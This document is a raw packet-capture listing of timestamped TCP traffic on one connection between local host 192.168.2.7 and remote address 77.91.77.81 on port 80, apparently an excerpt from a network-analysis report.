Jul 2, 2024 12:21:29.423881054 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.423882961 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.423892975 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.423898935 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.423923969 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.423930883 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.424376011 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.424417973 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.424420118 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.424434900 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.424458981 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.424474001 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.424546957 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.424563885 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.424577951 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.424592018 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.424595118 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.424607038 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.424612999 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.424637079 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.424666882 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.446681023 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.446700096 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.446715117 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.446768999 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.446785927 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.446803093 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.446808100 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.446819067 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.446831942 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.446834087 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.446850061 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.446856976 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.446862936 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.446882963 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.446907043 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.450411081 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.450443983 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.450459003 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.450473070 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.450478077 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.450495958 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.450506926 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.450544119 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.450596094 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.450611115 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.450625896 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.450638056 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.450668097 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.450716972 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.450741053 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.450752974 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.450757980 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.450773954 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.450782061 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.450788021 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.450802088 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.450803041 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.450838089 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.478957891 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.478977919 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.479001999 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.479017019 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.479029894 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.479039907 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.479047060 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.479068995 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.479084969 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.479087114 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.479087114 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.479100943 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.479115963 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.479130030 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.479130030 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.479139090 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.479156017 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.479199886 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.479214907 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.479229927 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.479235888 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.479252100 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.479268074 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.479274988 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.479300976 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.479311943 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.479315042 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.479337931 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.479357958 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.479537964 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.479552984 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.479568005 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.479581118 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.479609966 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.479685068 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.479698896 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.479707003 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.479716063 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.479748011 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.479759932 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.479784966 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.479799032 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.479814053 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.479820967 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.479836941 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.479852915 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.479907990 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.479924917 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.479938984 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.479948997 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.479953051 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.479959011 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.479969978 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.479979992 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.479994059 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.480015993 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.480036020 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.480051994 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.480077982 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.480081081 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.480093002 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.480097055 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.480114937 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.480129004 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.480206013 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.480221033 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.480235100 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.480249882 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.480251074 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.480259895 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.480264902 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.480281115 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.480309963 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.480336905 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.480375051 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.480376005 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.480391979 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.480406046 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.480412006 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.480427027 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.480439901 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.480556011 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.480571985 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.480586052 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.480595112 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.480600119 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.480612040 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.480632067 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.480655909 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.480686903 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.480700016 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.480700970 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.480724096 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.480736017 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.480803967 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.480818987 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.480834007 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.480843067 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.480853081 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.480871916 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.480917931 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.480931997 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.480946064 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.480959892 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.480959892 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.480969906 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.480977058 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.480990887 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.481019974 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.481666088 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.481679916 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.481694937 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.481710911 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.481724024 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.481765985 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.481781960 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.481796026 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.481808901 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.481818914 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.481837034 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.481852055 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.481915951 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.481939077 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.481952906 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.481954098 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.481969118 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.481970072 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.481987000 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.482006073 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.482079983 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.482095003 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.482109070 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.482122898 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.482135057 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.482156992 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.482213020 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.482228041 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.482242107 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.482254982 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.482255936 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.482270002 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.482270956 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.482285023 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.482297897 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.482300043 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.482319117 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.482322931 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.482346058 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.482369900 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.514477015 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.514497042 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.514511108 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.514552116 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.514580965 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.514596939 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.514611006 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.514631987 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.514640093 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.514655113 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.514657021 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.514677048 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.514698982 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.514769077 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.514807940 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.514812946 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.514822960 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.514843941 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.514863968 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.514885902 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.514900923 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.514928102 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.514933109 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.514949083 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.514949083 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.514974117 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.514986992 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.537528038 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.537542105 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.537555933 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.537570000 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.537584066 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.537595987 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.537611008 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.537616968 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.537650108 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.537678003 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.541017056 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.541030884 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.541044950 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.541066885 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.541079998 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.541095018 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.541187048 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.541193008 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.541193008 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.541193008 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.541193008 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.541207075 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.541223049 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.541224957 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.541240931 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.541259050 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.541295052 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.541309118 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.541322947 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.541330099 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.541337967 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.541343927 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.541363001 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.541377068 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.541388988 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.541472912 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.541511059 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.569580078 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.569590092 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.569601059 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.569645882 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.569648027 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.569658995 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.569670916 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.569678068 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.569681883 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.569705963 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.569730043 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.569730997 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.569766045 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.569866896 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.569911003 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.569938898 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.569950104 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.569979906 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.569987059 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.570019960 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.570034981 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.570074081 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.570120096 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.570131063 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.570159912 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.570178032 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.570182085 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.570192099 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.570218086 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.570228100 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.570240974 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.570254087 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.570266962 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.570292950 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.570302963 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.570313931 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.570343971 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.570364952 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.570420980 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.570436001 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.570467949 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.570523024 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.570533037 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.570543051 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.570554018 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.570563078 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.570566893 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.570574999 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.570591927 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.570621967 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.570645094 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.570655107 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.570693970 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.570708036 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.570719004 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.570729017 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.570748091 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.570770979 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:29.570902109 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.570911884 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:29.570921898 CEST	80	55237	77.91.77.81	192.168.2.7
